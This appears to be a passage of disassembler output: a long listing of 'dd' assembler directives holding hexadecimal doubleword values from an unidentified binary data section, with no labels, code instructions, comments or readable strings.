		dd 9962F72Dh, 70E80104h, 651F79DFh, 0DB0964BDh,	2740024Bh
		dd 6A325481h, 0DDB789F6h, 62BACFF9h, 0B069B6BBh, 3E593DEEh
		dd 0C3A5154Bh, 0BA0E609Ah, 5AAA6302h, 9172CDEh,	80B564ECh
		dd 2B0C17AAh, 10B7F58h,	18932970h, 62874E9h, 0DF315D0Eh
		dd 5308FB4Ch, 26D2F2B5h, 0E2325871h, 940B12D0h,	5A1DFC30h
		dd 0F6A9D0ECh, 37BC433h, 58EFE459h, 32E4E5DFh, 0FEE320E8h
		dd 0D4BAC14Ah, 8445BA50h, 97085752h, 0CD310D1Dh, 0AC802EEAh
		dd 601B1E78h, 6D55E402h, 0C8805187h, 425F2F09h,	3DB7047Dh
		dd 0EC5A17B0h, 54849FA6h, 5834C04Fh, 3E072968h,	8E558525h
		dd 67DD2DE0h, 0E9020974h, 0FC640E90h, 0B9F28012h, 2C13C0BFh
		dd 56492AE9h, 0D6C81B16h, 49560063h, 2D253A1Ah,	8A2DCCEDh
		dd 397C56E4h, 4D175CC4h, 28C540AFh, 48AB88FFh, 0E1688340h
		dd 0FE58132Eh, 9D4F038Fh, 2F2C7F6Ch, 0DFBD0555h, 0EB42B537h
		dd 0A8A89D5Eh, 5F142F25h, 0DDD912B3h, 5A808E17h, 0FB5FD42h
		dd 32F6C64Fh, 0C88EE4BEh, 7F355063h, 14B505FDh,	0AE51C91Dh
		dd 0C11ABE20h, 0E9E84FECh, 779A0949h, 0EDB9A5DBh, 0C1590701h
		dd 883B07E5h, 68135AF4h, 0A4633A52h, 0BEB363F4h, 28143D09h
		dd 12D48864h, 0A97B582h, 0BFA01388h, 5DDB5BCCh,	0BE02D2DEh
		dd 0E515A78h, 1394FA77h, 0ED421EE9h, 2F73C9Ch, 8915B5BEh
		dd 0EAD280FAh, 795E5055h, 7B6DB82Ch, 9766BE29h,	55FC425Bh
		dd 0CBCB19E9h, 2A315ED1h, 21603CAEh, 270453BFh,	0A5E48E78h
		dd 2BB94DF9h, 51D1ACB5h, 0BC3A5ED9h, 0BE78816h,	7884DAF7h
		dd 64A0B3Eh, 9A835085h,	5AD8124h, 2F78CF21h, 16E86809h
		dd 20BE1C7Fh, 0ACF43444h, 395C4E1Eh, 0B3E4E38Bh, 0B580125Dh
		dd 16FECCBh, 0E95305EDh, 0CA291DB6h, 45DD33DAh,	27A124D6h
		dd 0E9788156h, 0F90B4A4Fh, 57189A3Fh, 892C74E7h, 296A4C0Eh
		dd 0E0F747Eh, 0D9B25F08h, 5B110140h, 576A938Bh,	0E9BCF1FCh
		dd 51BDB375h, 49DDA57Fh, 4861F4FBh, 5FDB4E28h, 817B56E9h
		dd 809CB534h, 0C5CC87E5h, 506CB96h, 50E03FD0h, 20AD1CB5h
		dd 0F79DEF11h, 0EA4A0212h, 80DF73D7h, 42206855h, 62BA1DBAh
		dd 45BDE419h, 0BC7FEE54h
		dd 1AE90AD9h, 8481EC07h, 179800Ch, 0C2403771h, 4B746520h
		dd 3AFEE67Bh, 7DE8CECDh, 29804CC0h, 62FCF031h, 0EAAAA695h
		dd 0B892402Ah, 0F4E4C0Fh, 0E7BB4547h, 2A148E44h, 54C57EFCh
		dd 4924EFF2h, 0ECEC96B1h, 86E69F1Dh, 1BB1D8F2h,	5F496862h
		dd 0DFE93498h, 25AA2B5h, 0AB3F2267h, 0E05B6602h, 0E134EB46h
		dd 0DFDEA520h, 54530B61h, 0E9C19BE5h, 0D549025Dh, 0D02887DDh
		dd 1706BD00h, 16BF188Fh, 0E9510BC2h, 455AC937h,	9DD286D8h
		dd 0D0031E4h, 1FC45F7Eh, 3D4A8B05h, 30EB0FDh, 4829250Ah
		dd 0F3806609h, 50E9146Fh, 0F3773162h, 0DFA9725Eh, 0B1C5D6C1h
		dd 42036ACCh, 8723B252h, 5A015469h, 73FFB002h, 2390CF44h
		dd 0AF329E2Fh, 5D17CBFFh, 7FD1EDB3h, 0CCA75127h, 7AC10457h
		dd 0B630EAC0h, 4462BDC7h, 20B8CC77h, 44AA4E52h,	8A98ED7Dh
		dd 0CEE30E94h, 580F203Ch, 246DF580h, 4EECBDEAh,	1F4FE9ACh
		dd 0E2C1DB03h, 0F7DAE003h, 9708DFD3h, 0ECFC85BAh, 0E8C317D7h
		dd 0D5F2C237h, 422F5DF7h, 7BDE6C8h, 49745ECDh, 304AAB2h
		dd 10B9ABB4h, 0F09D7E62h, 9030843h, 10E18064h, 6468583h
		dd 35F3FB02h, 411E5060h, 61C0422Fh, 970792D2h, 59F73842h
		dd 0E0B1A41Eh, 6A0E972h, 2DE04EBFh, 4C15D031h, 2D52689Fh
		dd 0B5B01FB4h, 0FC801492h, 226FFDEAh, 0D1896416h, 17EB8713h
		dd 0D92DEF8Bh, 249B982Ah, 53816344h, 563FE403h,	0F4589D17h
		dd 2BDF089h, 60CE873Ch,	27622747h, 0D058DF84h, 58BBAC20h
		dd 0ED4FB009h, 1CC20220h, 7E7D0186h, 0E4832A9h,	0BD074270h
		dd 2D3E3C14h, 0ABB863A4h, 6AD95827h, 211DF8E9h,	0B08F3439h
		dd 889405A7h, 4F68BE9Ch, 0B7B23063h, 0C7048099h, 5BF82885h
		dd 0B507628Bh, 0FCB753DCh, 0B14FE922h, 2AA12613h, 5F006968h
		dd 2103E38Bh, 29F59CDh,	7D752DE5h, 5C5EDA6Eh, 318296B6h
		dd 0D6050C3h, 3A1840A7h, 61708903h, 1A028373h, 0B694E559h
		dd 0EA20231h, 0BEBAF375h, 0A8DCF217h, 108E9088h, 52895C2Fh
		dd 0AF2EA685h, 12E5BACDh, 0EBC0137Bh, 9253A3C4h, 93ECE6BBh
		dd 41CB1F98h, 7F807E71h, 254F7230h, 7DE0C13Dh, 6771D9C3h
		dd 0BAB44C5Eh, 0FCAA4F3Bh, 0A788A1A2h, 4D376800h, 2C541897h
		dd 0E4429E56h, 4C444B4Dh, 992020DEh, 80EAD00Bh,	0A9CD0EE2h
		dd 0BF14DDC6h, 860EC349h, 205A665Ah, 0D6B5D34Bh, 9B602C6h
		dd 31D40D52h, 41EB0692h, 826D7B0Eh, 171A3B54h, 5A84A0D6h
		dd 45BDD05h, 6A6841D8h,	0BE9E9813h, 0E819C109h,	0C087F07Bh
		dd 81798E12h, 3573E90Fh, 75EDD9C9h, 41751A62h, 0ED65D49Eh
		dd 0C2A6AC6Fh, 555E7B68h, 0D192A051h, 528250C4h, 5DD66A28h
		dd 0E913F934h, 7F40EE6Ah, 0D4E480A3h, 5EC0CC0h,	60AC4FEh
		dd 8F39E916h, 575B38BFh, 201F6805h, 83051E2Dh, 15676F69h
		dd 7B696B3h, 9E7BE16h, 0DEF72218h, 0F3D73860h, 2932BF12h
		dd 979DA2A8h, 0E10D17FBh, 66A22FDFh, 0F9572CC9h, 4D02492Eh
		dd 7BF9F954h, 680B0124h, 0F09A772Eh, 7DCF6075h,	1229D380h
		dd 0EAD416FDh, 35F7B7C0h, 65C76D8h, 977832E1h, 9090C1Fh
		dd 3764007h, 0D24904FEh, 3008C1F1h, 548831E5h, 0BF02C736h
		dd 0C0AB14CFh, 0B7A7E32Eh, 1BC27E93h, 9394CF50h, 9E527F02h
		dd 0C272BA41h, 5A0F0568h, 0A92F98C9h, 4DD9E122h, 0F997A772h
		dd 31E982F9h, 0EFE1F6BBh, 27DD6F6Bh, 0B29780CFh, 30EAEC36h
		dd 30185592h, 0AE9858E1h, 2B4BA57Bh, 36EE67C5h,	2AF72E5Dh
		dd 4D2B76A4h, 0EF14958Eh, 5504F508h, 0C2973E63h, 2CE672F5h
		dd 596EEF0h, 0A0C8442Fh, 5B475AA1h, 40FB159h, 37F2AA07h
		dd 683F90D6h, 6EE117F7h, 4C940DEDh, 3741133Ch, 0BE1A1372h
		dd 0BC40A7E6h, 0AA4E17F1h, 93C4EB50h, 3459080Bh, 9CE91743h
		dd 3020E514h, 0E74A4A67h, 40AD3B8Ch, 0D25FF7CEh, 1C742EE2h
		dd 3F5958E6h, 0F03007F3h, 0A9C7285Ah, 0CD3101DDh, 0D8C0572Ch
		dd 0F22FE904h, 0F800DC85h, 305BCD2Ch, 197D9DC3h, 759273BCh
		dd 0C5A6EF5Ch, 0DC01FA97h, 39F016EDh, 4FD1AB70h, 0A9EB8EBh
		dd 8271E30Dh, 5F41DC04h, 98E1E8C7h, 6F116Ch, 35D2FDB9h
		dd 609D8934h, 942012E9h, 0ABEC53E8h, 39CD0860h,	2178256Dh
		dd 0E941CC5Eh, 0D22B6538h, 18A240EFh, 8D595456h, 0E27302E9h
		dd 8403FBBCh, 0BF055968h, 40268638h, 6638AC2Ah,	6226F951h
		dd 6DE2A30Eh, 0A77ADC0Dh, 1C94B3D0h, 97677725h,	0FA74E904h
		dd 63749AEh, 0F78B845Ch, 9D9BD731h, 8159E2F2h, 54685902h
		dd 0E9715548h, 850CF8A4h, 0BEBD5F0h, 23156822h,	8A62877h
		dd 0F66782Dh, 79F771D4h, 0E96971F6h, 444AC79Fh,	0EF5B45FCh
		dd 13440B4Fh, 5668AD30h, 0EEC5C665h, 0C35F7758h, 0D879B8A9h
		dd 77B0125Ah, 0CD1DBE58h, 3B58DD91h, 68520251h,	4A07F14h
		dd 8E394150h, 0FC22AE66h, 0C11C0E03h, 0E8764F7Bh, 0D7DDDCCAh
		dd 5A13C266h, 0D1EFE895h, 864C2941h, 8AAEE910h,	53C54EA1h
		dd 0C9961268h, 0EBF6077h, 0FBBB640h, 63C8589Fh,	9CFFD889h
		dd 0E4F29806h, 21712063h, 0EFEFD12Ch, 7EF5B502h, 0B15FC0Bh
		dd 19D7148Bh, 9D8559Fh,	86539D89h, 9C0A93BDh, 768E3420h
		dd 201C7B7Bh, 559F7059h, 7ABEC698h, 0E877D6BAh,	14577925h
		dd 5456121Ah, 4DE3AB5Eh, 17D3BC96h, 0CFE082E9h,	808C0EB7h
		dd 0CF67F8C7h, 0BAABD260h, 55DD305Fh, 0F698BF06h, 0C797539Fh
		dd 0E6562511h, 7D4A90C2h, 0FEF8493Ah, 6670C50Fh, 0F9FD93D7h
		dd 602A0841h, 5AD52916h, 5AEAD69Dh, 282645A2h, 0F5B2D522h
		dd 0C415FBAh, 1F219F21h, 0F185A4ECh, 0F1C21316h, 34C3C089h
		dd 0AD3A9512h, 0CE6ACFC2h, 7F501D69h, 2D0DA536h, 69E0F787h
		dd 4F804327h, 1328F481h, 0A4EDD57h, 659565DBh, 0ECA7815Bh
		dd 37AD79EEh, 9BB21BCFh, 0FBBA28Bh, 46007CABh, 0E317B5CBh
		dd 0F0144D39h, 43A907F0h, 0F3C07497h, 2F7A69B3h, 956C29FBh
		dd 77680500h, 0D1253F3Dh, 0EF4D5063h, 0FBB94A8Eh, 9F5C5C68h
		dd 7E9C2A79h, 0CBF69560h, 34E472A5h, 0E9C73D20h, 2C1AC85Ch
		dd 0E7CFBF8Fh, 0F5E9137Ah, 0C03BF7A1h, 623A6F60h, 0DF4F1C2Dh
		dd 1B44420h, 0AD92449Fh, 710EF709h, 6EDC85A5h, 0A38717FFh
		dd 0F4B5D3CFh, 6980BC6Ah, 0DB62779Ch, 188CE0FDh, 0FEBA806Ch
		dd 205F1C07h, 64D5FA87h, 965000B8h, 0BA450658h,	42D9F71Fh
		dd 35986013h, 0C90FB04h, 0BCEE921Eh, 413F04A9h,	0C0C3796Eh
		dd 5E4209D1h, 0B9E73166h, 1AC15312h, 0EA05EB07h, 0D1CD7340h
		dd 0ED5C0B6Ch, 644FB1E7h, 0F32089F1h, 251CBC7Ah, 92BF9A65h
		dd 3DF85F14h, 0F50F0781h, 0A842E5Eh, 813F071Eh,	8F3D35F1h
		dd 0A77B2132h, 9699505Ah, 785010E0h, 1EFA3B80h,	8FFC296Fh
		dd 0C4CCC7Ch, 5F060C57h, 490E417Dh, 6A868209h, 95F15501h
		dd 2061E941h, 0CAC5AB3Ch, 8207BC0Bh, 59EDB753h,	52B2400Fh
		dd 6BB8D088h, 0B7C1F84Ch, 0C7889B40h, 4C662AE9h, 57F90BE5h
		dd 82575337h, 0EEFEF739h, 0BD5EFA27h, 32DC9960h, 157CF01h
		dd 276855F2h, 9C9857DAh, 872615C6h, 0D5079F32h,	0D46F732Eh
		dd 5E58A2h, 0A17195CDh,	0B598E962h, 0E8208B02h,	2F279566h
		dd 42DE5180h, 0ABF103CFh, 0C1EB5F96h, 40CCC95Fh, 0A43F1F18h
		dd 0F16902B7h, 5045FFBBh, 0B137680Bh, 19ADB973h, 6BA90340h
		dd 729F5FE6h, 52088146h, 0BE18C02Eh, 15400721h,	10DF9744h
		dd 5BB8E937h, 3C90A2CCh, 62B19754h, 6D858B4h, 0BF3BAA63h
		dd 29750BD7h, 559CE977h
		dd 550BD032h, 6E1C3769h, 0E30B07DDh, 0B149E90Ah, 0D4EA0F71h
		dd 0A875A225h, 0BD80261Ah, 0CEFB5697h, 8AE9097Bh, 7398AD6Bh
		dd 0C2A5BE5h, 0E8EE59E4h, 0DF6B3162h, 49285CF5h, 0C1584A5Ch
		dd 0FE0879EAh, 0FE2C0340h, 17A16841h, 40384127h, 0B5315C19h
		dd 75FF7CE4h, 250B6A65h, 6981DE5Bh, 4A601CFFh, 9235BA1Dh
		dd 85B63200h, 0E701BDF7h, 0E9524D40h, 0A9284F87h, 40888501h
		dd 0F8BE75EBh, 0B031A473h, 282F114Dh, 0E7629ADBh, 925FFAB7h
		dd 2364555Ah, 82C8712Dh, 7D06E09Ch, 4184E268h, 458169F4h
		dd 1E1FBC6h, 49366DC2h,	4F910529h, 5007552h, 0CC3F88CFh
		dd 0D90CB42h, 58E31367h, 0C01E0154h, 10D9315h, 0CE3CF9F5h
		dd 0B7A8702Dh, 0E70C3D6Bh, 735C960Bh, 0B9501596h, 7795405Fh
		dd 0F6A414AEh, 5A2BED9h, 0A36B7F94h, 689FA25Fh,	0C0815484h
		dd 629C1DC8h, 2E079298h, 0E95D0E5Ah, 96CE686h, 59EE885Bh
		dd 0F1A2A34Ch, 0E852F655h, 0B1572FDAh, 2D3B5D1Ch, 97FC7C84h
		dd 0D784F8BCh, 83061371h, 9B95597h, 35C8A2A8h, 0F723025Fh
		dd 0DD7A55DEh, 3D6370BDh, 233CF681h, 20318A92h,	4F2BE933h
		dd 0E66844C2h, 1F826C0Fh, 0F5863B69h, 0BDAB844Eh, 0B1F5019Fh
		dd 4D8DE648h, 58740AF1h, 0E8AFD259h, 420B1076h,	9E5FB05Fh
		dd 0BE218F41h, 0A1D0DDFAh, 6C5BA7F8h, 5C96E390h, 0F194E5Eh
		dd 6E38D373h, 85B0C501h, 0D1294A95h, 0DA016222h, 1B530C6h
		dd 2F2668AAh, 36CE2189h, 410C2CC5h, 5A1E2163h, 81FEB28Eh
		dd 69962AAFh, 0DF35DD69h, 7B8AF9BAh, 0EECE5004h, 81EE0953h
		dd 2AB0348h, 1C84575Ah,	3A33A1FCh, 5B7AF0E9h, 0AFBD137Bh
		dd 0FEFCC461h, 9F7EAC3Fh, 0A12D43D3h, 0DD19AC6Eh, 968AA6D6h
		dd 4B7D7824h, 9D1BCD7Fh, 8CCAF68h, 0EF643001h, 25E95640h
		dd 0FC5A5D99h, 7EACF08h, 37022E7Ch, 403C7912h, 483AF3DEh
		dd 0F7005DC3h, 880C2338h, 0D465CBE9h, 35825A84h, 2C655707h
		dd 27DC5916h, 657A8014h, 1E46B980h, 96A24BFBh, 3B9CA14Fh
		dd 1ACCDB44h, 4BD5ED4Bh, 2F22FBC2h, 0E9E05D16h,	669FCD8Ch
		dd 4B51F277h, 90B93677h, 0A6C02798h, 0CE8131C4h, 50637606h
		dd 1F64954Dh, 143155Fh,	0FD045CEEh, 0BE18824Bh,	0C29E99AEh
		dd 9C425D95h, 0BBBAEE5Fh, 55A50D72h, 0D4A4389Bh, 3CCE07FFh
		dd 0EE946713h, 1D86C31Ch, 0E6B02110h, 0C5E4984h, 530BAACh
		dd 2F1FBC7Ah, 2CC14671h, 485F2001h, 0E997816Fh,	0B7127F28h
		dd 0EEE3AC4h, 867E832Bh, 4846D6F7h, 101A044Ch, 0BF271D43h
		dd 14482FFh, 0C15F047Ch, 6B4E8169h, 42EBD935h, 7AE36833h
		dd 0AF9065C6h, 2C78A930h, 131B3BBh, 0E3C151FCh,	0FCEBD108h
		dd 999DF9A6h, 0B07876E8h, 6AD2BD02h, 0D4746958h, 3F41402Fh
		dd 137E8227h, 0B8505500h, 587F12E7h, 3004179h, 0FAC8FB35h
		dd 0F2B589D5h, 15CC9541h, 0DEA23297h, 0BF8139BCh, 0E91E025Fh
		dd 2D16746Ch, 0AD55CBBFh, 0D05F51FEh, 0EB66E916h, 26E49D8Dh
		dd 6C1ABF0Ah, 7B0B3B79h, 0F7655D20h, 5F945DAFh,	1D7F6801h
		dd 4BE93BFEh, 4DDE3BA0h, 0AA4F01B5h, 0C7437B9Dh, 782B7C5Ch
		dd 3B2F13F1h, 45400017h, 1302EC7h, 0C9E9CA0Bh, 484425C5h
		dd 0E8D19740h, 1E091A2Dh, 0EB292E8Eh, 47FA896h,	4EC24684h
		dd 0DCADEA01h, 0C0080665h, 71219FF7h, 0A2573126h, 2751B110h
		dd 0F13A902Bh, 6190BC69h, 29275EF6h, 0BC5D77Ch,	98F1E4B1h
		dd 0B4504083h, 80FBFEF3h, 29B2ED90h, 0EB70C2EAh, 0EA75E27Ah
		dd 49E95870h, 99A82AB3h, 0F83A0B16h, 0AFE9F15Fh, 3431057Eh
		dd 58E4C0EFh, 2C27D904h, 0E843D0C4h, 0A1A04BE9h, 5AAD3E92h
		dd 68700CE6h, 5DB91DBAh, 0DDA28BADh, 0D6BFE5CEh, 0BCE970F5h
		dd 641F87BDh, 928E3237h, 9EAC4285h, 6875E2B0h, 0F0E96416h
		dd 55EEE192h, 0B73D28DEh, 52C24661h, 14540FEh, 0D6F63E5Ah
		dd 2CFF09B1h, 74F96C0Dh, 9B9662ECh, 6531358h, 0D2E95150h
		dd 801E500Dh, 52875DC9h, 0C67036B6h, 7DF088CBh,	62C1285Ah
		dd 7671F7A8h, 4AC1A96Fh, 0F63933ECh, 80F4AC50h,	581FE708h
		dd 0DB2FF780h, 0C33D1EBBh, 0C2FE47F2h, 0A8A10A3Ah, 20FEF7CAh
		dd 0BE5AD73Eh, 8C796CFh, 2FE970F0h, 36BB59DFh, 6D5C21E2h
		dd 614A6884h, 678931BEh, 82C56D31h, 77FEEF0Fh, 2F90E5CEh
		dd 60A17FA0h, 0AF0AC726h, 389F5F02h, 92F258F5h,	0C201091Eh
		dd 47F72A88h, 801248Fh,	8724A0A1h, 775CAA0Bh, 0AB4F9F66h
		dd 0E831CBBDh, 2B06E510h, 0EB9356B9h, 0B81624F2h, 78B5E2C2h
		dd 5349BD30h, 1FEABB53h, 9148077h, 0B6AD60Dh, 3B9B34A6h
		dd 92A5160h, 9F5D8428h,	8105E478h, 322B66F3h, 0E9D91FC0h
		dd 0FEDD2DCFh, 9468DC30h, 0FEBF3F70h, 4DE8DA31h, 962721E9h
		dd 1CCA5FFFh, 6C4704D7h, 27C4DBBCh, 0FA880560h,	1ED33E81h
		dd 0F5F78703h, 452DA93Dh, 0DAC690F2h, 0B0942C16h, 4141BFCBh
		dd 0D03B3A21h, 0F4AEEECCh, 56EAEF05h, 0FAB45E58h, 0AA2F280Eh
		dd 0C40B4B90h, 162DBF08h, 1A08A62Fh, 6272C1FFh,	7FE38BA4h
		dd 405EF861h, 1B5C2FA4h, 388442F3h, 7157BBA9h, 54E961A0h
		dd 0FB902A94h, 4E8E716Dh, 290A0724h, 0AFA0BECAh, 593E465Fh
		dd 0C0CC0EC1h, 0E22BA643h, 47500469h, 80BE710Ch, 0C26A6516h
		dd 62EE8B4Bh, 54A1E7h, 19D6727h, 613E981h, 0EEB8416Bh
		dd 0A4E00436h, 69F6B559h, 68CBCF9Dh, 0E3C47D3Eh, 537EFEFAh
		dd 52AEF34Bh, 70B88E6Fh, 5F155991h, 15F248A0h, 9FBB5102h
		dd 0DFBFBACFh, 514DFFE5h, 0CAF4E904h, 0ED7BD5F7h, 4A606965h
		dd 662D402Ch, 0E0AED91h, 0C849367Dh, 80CB5EBCh,	34BEBC0h
		dd 0F02D7FACh, 55969AD1h, 5E961E28h, 0F777B4D7h, 0D576C069h
		dd 0B9AA8D34h, 4B4657Fh, 0AF7E68E9h, 82E39AF5h,	6993DFD6h
		dd 8E805E16h, 401096B6h, 68BF03BBh, 0D117BC1Fh,	60799D2Bh
		dd 0CB3E2F05h, 57B1FB6Fh, 0C28E5DFDh, 15EB5B32h, 9C69380h
		dd 2D033971h, 66F4462Eh, 6AA6B040h, 0BFA87E73h,	0E5016BD8h
		dd 638B2E38h, 1D3BDD87h, 1CB22481h, 7BF9E097h, 731350C0h
		dd 89A12F30h, 457D22DDh, 8B686155h, 23C3356Fh, 13DCACDCh
		dd 6910D7B8h, 4A8E4DA0h, 0B521B1A4h, 42684001h,	2B995222h
		dd 0D65FFAEAh, 7CCCD8F4h, 0FACCE89Fh, 0ED048238h, 52859229h
		dd 6725D3FDh, 0E86744E9h, 76F4966Dh, 4D7A69B4h,	0EC396070h
		dd 6CC83FDh, 0C9C7B151h, 0F1F11BE1h, 69CEE647h,	0C126288Bh
		dd 0CD170700h, 4BF74D36h, 1920C3DDh, 25CAF94Ch,	9FE3F02Fh
		dd 8E81A1B9h, 56DD58D2h, 0B7C84EAh, 0E1E05A08h,	0F8BCFCE9h
		dd 0E6015426h, 811CEA08h, 56819D4h, 66E942FBh, 2F67C906h
		dd 5A900FAAh, 497131E5h, 516239AFh, 0F951FC77h,	71162E76h
		dd 4BD31FB7h, 0E9F51CE7h, 573A5846h, 6E87BBA4h,	7CBF0CE2h
		dd 2A5251F3h, 0FA803EBDh, 0B970DA4Dh, 9E74C809h, 720FFF1Dh
		dd 5834F9A2h, 85F2CDC0h, 258E041Bh, 6E08E8BAh, 9C5F973Dh
		dd 58E4B58Ah, 0E2AB682Dh, 4ECD5791h, 20096CAFh,	8924F301h
		dd 26426DFAh, 0F9EAA7D0h, 0F152EA75h, 128180FAh, 6634CB2Dh
		dd 48C10E4Bh, 75347180h, 0DF7F27FCh, 0B895E15Fh, 0BF011D3Ch
		dd 0E8FB8CE1h, 0F655CE29h, 0BAFEC96Bh, 5E9889C9h, 3E552D08h
		dd 0E95C5CAAh, 5409407Ah, 4B4D4EB8h, 0AEE64FA1h, 172AB96h
		dd 0A055D96Ah, 0C8D8970Dh, 19280C1Ch, 206EEAB0h, 906876E1h
		dd 1F1A1853h, 3F21865h,	0A6A170E2h, 0CD3101ABh,	0A410CE32h
		dd 442D7F85h, 2DB51BEh
		dd 8A402A08h, 0A8546961h, 0A82B010h, 0C174057h,	5717A25Dh
		dd 1A5A5164h, 9B3B37B1h, 9CBE4E26h, 512CE98Eh, 0D99A8C79h
		dd 9FE8654Ch, 870C8958h, 0A342315Dh, 0BFA00CDAh, 6CEF2A13h
		dd 0F50CC0BEh, 1006D544h, 0C67DE993h, 9B56B5E0h, 0E2DBE9D0h
		dd 88D995FEh, 36D65B8Fh, 83A50CB9h, 827CCA58h, 2B34915Bh
		dd 84A4B7EEh, 47D9232Fh, 0C0FCF2C3h, 4FCF4C28h,	816460FEh
		dd 413483EFh, 0A8EB962Dh, 2DEB5AA5h, 55E76EC3h,	84A27D93h
		dd 4D4E689Ch, 508822BFh, 12723740h, 0A61AA824h,	1935DA01h
		dd 0EBDC4318h, 0C1481749h, 13F2EC32h, 0CA884401h, 61682F58h
		dd 2B9705FAh, 83ED758Ah, 93E7DBA7h, 0C1F6B8D2h,	47EB6849h
		dd 7EB6307Bh, 272D2C71h, 0EF30FD50h, 53D4858h, 1EEE1286h
		dd 84785104h, 5F8AB2EAh, 0D75314EBh, 0C9EABF17h, 1210A4B6h
		dd 0ED32D3AFh, 34C731B9h, 4E5CBEBBh, 0FE6A2E76h, 0D7180B2Fh
		dd 5742EB65h, 0AB5E5554h, 9D62A850h, 6553C18h, 0C92D482h
		dd 0E8D36530h, 48AC5D4Fh, 0A04DB1h, 55B5CB8h, 0C08356D3h
		dd 0E924F001h, 43AA1934h, 18BAF785h, 2CDC8626h,	9465E0Eh
		dd 0B20192F1h, 66EE43D2h, 5801B86Fh, 4EA80BE7h,	652EAF39h
		dd 784958D9h, 26A45DD2h, 80BDB090h, 284CED17h, 12EFF405h
		dd 4E0C98EFh, 0BA60117h, 4D997B01h, 0D2206F47h,	206C123Bh
		dd 44840110h, 0D80D4F12h, 253914E7h, 3BE90B26h,	6567A229h
		dd 0C045770Eh, 885B4124h, 905DC480h, 0E9F20BEEh, 647764F3h
		dd 80515F32h, 42016870h, 24BC496h, 0A377BCh, 0F51B9DBFh
		dd 5C687B0Bh, 9D7C678h,	1D494F38h, 562601F4h, 8219F825h
		dd 61565D8Dh, 4FDCE978h, 1B32BA6Eh, 43D0095Eh, 14920500h
		dd 32252E0Fh, 514B3075h, 17BD560Ah, 2DD0F701h, 0F165D8CCh
		dd 0EC58126Eh, 31AE5A6Ch, 8B0DB3C3h, 5F72516Fh,	7FFAD719h
		dd 3F1393A6h, 0B799BEE8h, 0CC425F3Bh, 4DD4F481h, 0D263D5ECh
		dd 0E9535B0Ch, 8D3A2321h, 47A26F1Dh, 0A545E02Ch, 27A7CDD5h
		dd 0D74A195Dh, 204AD92Ah, 570BA98Dh, 80D169C7h,	151BC991h
		dd 0C0104A2Dh, 2C5040B8h, 0FEBD1790h, 95E906CFh, 0ED5B797Ch
		dd 0DC2A8D4h, 9746FBADh, 4E5BEC01h, 197ACEEAh, 0F135E2CAh
		dd 0E57C2BD8h, 37CEE0DBh, 4F89970Dh, 944FA5Fh, 0F6712B5h
		dd 2397BE80h, 98B81D7Dh, 809B1A2h, 1C681404h, 0CE0A7CCAh
		dd 79C7988h, 87EE8852h,	48541B43h, 514FE62h, 49BF155Ch
		dd 2820FF4Bh, 0FE7799EFh, 0E190976Bh, 0EA0C6493h, 24FA2994h
		dd 693F07C2h, 0CF013A0Fh, 0C008A81Fh, 0F944131Ch, 0E9195D6Dh
		dd 87622173h, 1778806Fh, 0AA287CD3h, 2620EB57h,	0AF57979Ah
		dd 0EDA9446Eh, 938DEB5h, 0D3067105h, 1D080077h,	1426A28h
		dd 0A897E988h, 44840C2h, 0AAF6962Dh, 4C7FBCAh, 980FC1Bh
		dd 54DCF189h, 0FDA38E2h, 87E2AFF2h, 383E982h, 0FCAD1BFCh
		dd 8750ADABh, 9F934820h, 51B75058h, 0B9B4C31Ah,	0CEFE5E4Bh
		dd 0D2B35FD4h, 70927951h, 0C79C425Dh, 0E85F0558h, 0B2F8297Bh
		dd 9C7EBD44h, 10D8EBBh,	48DED520h, 0D4F513ADh, 57B2AE09h
		dd 0F06B9759h, 92F52F22h, 0A88475C6h, 89B810D1h, 6735F5Dh
		dd 59216861h, 26B6E76Ch, 0D152DD0Bh, 862D775h, 190B080Ah
		dd 3B2DF920h, 0B05B44BCh, 0D55E3220h, 16EC14E0h, 0F8703917h
		dd 839E1018h, 0BEE85070h, 9F769733h, 21C275C8h,	0B39CC5E8h
		dd 0FD02A586h, 167D28F2h, 0A2F6147h, 0B8D02A79h, 0F8913413h
		dd 0A1A897E6h, 488C6DB3h, 0FA220C0Ch, 0D4B7EE4Bh, 0BF581333h
		dd 0F797AC03h, 84C89CD7h, 0F86A4A31h, 0B625A157h, 103DB32Ah
		dd 0EF4B01DEh, 0C913659Eh, 1290BDC0h, 14884D82h, 565A2559h
		dd 579DCC52h, 4489A288h, 0E1E3A44Ch, 0BD61D10Fh, 0B8456513h
		dd 0AEFD640Ch, 65D89DBEh, 0A170B520h, 912B5291h, 80E1D920h
		dd 0B05CB57Fh, 0BFE82845h, 413E878h, 0EB372Ch, 44B6521Eh
		dd 0AC73C680h, 0E9F1F602h, 0B9FEDE17h, 1BC568BFh, 0A4D3DB88h
		dd 176FB40Eh, 9D1073BCh, 0E4680905h, 62F0F477h,	3B576253h
		dd 1B3D2F4h, 38C8015Ch,	45BCB53Ah, 0E110FEC9h, 0FC8BB7D3h
		dd 0FB3A99FFh, 627A64BAh, 3177622Dh, 0C83A4909h, 2B812C38h
		dd 0A3D24928h, 0C4FE96EDh, 338E812Bh, 0AF8404B2h, 5454F8AFh
		dd 28FE5274h, 0C31FCD61h, 0AFC1440h, 6AC1E52Dh,	2A88DDFAh
		dd 18C82607h, 6866C8F0h, 0A2211824h, 0DAEBEE17h, 30EB4A09h
		dd 3E08E903h, 0A9A83195h, 0D099C62Bh, 6228D9B5h, 9B527AE9h
		dd 0EC4F9990h, 27E89285h, 0D75BD2B6h, 8EB12012h, 6656D82Ah
		dd 2F421A41h, 0A38461F0h, 8776800h, 394E1697h, 246344E9h
		dd 65B94095h, 0DF5EACD8h, 0CCDE121Ch, 0CA3C0CF3h, 8C86C0F4h
		dd 0DF2980E7h, 77C0AEC9h, 130C5CC7h, 0FF51DE8h,	4676583Ah
		dd 0A204CB64h, 0D45531B8h, 0F597C11Eh, 9271F2F7h, 20F63105h
		dd 0E2D6FCF9h, 5BDC42Fh, 53505100h, 60DFA1B7h, 6800F4D0h
		dd 70495999h, 0DB12F75Bh, 520BEBC1h, 25DE7C4Ah,	9C1D95D7h
		dd 6D0794E9h, 56DB9007h, 6C3DB2D6h, 0FE50535Eh,	74A0B5CAh
		dd 145B0816h, 11E1404Ah, 0BF35852Fh, 0A84ECFE3h, 826AB165h
		dd 561E9C26h, 0C25ED754h, 53F55FC1h, 922C147Fh,	0E2E96181h
		dd 1229BB19h, 2F3379DFh, 0D96CF956h, 0F01886BFh, 1C870AB5h
		dd 0E904F4BDh, 553099DFh, 0AEB18088h, 0EDB15E17h, 7932E280h
		dd 622549CBh, 0BF1B2E2Eh, 7F6A2A0Bh, 64755098h,	2FEBBA80h
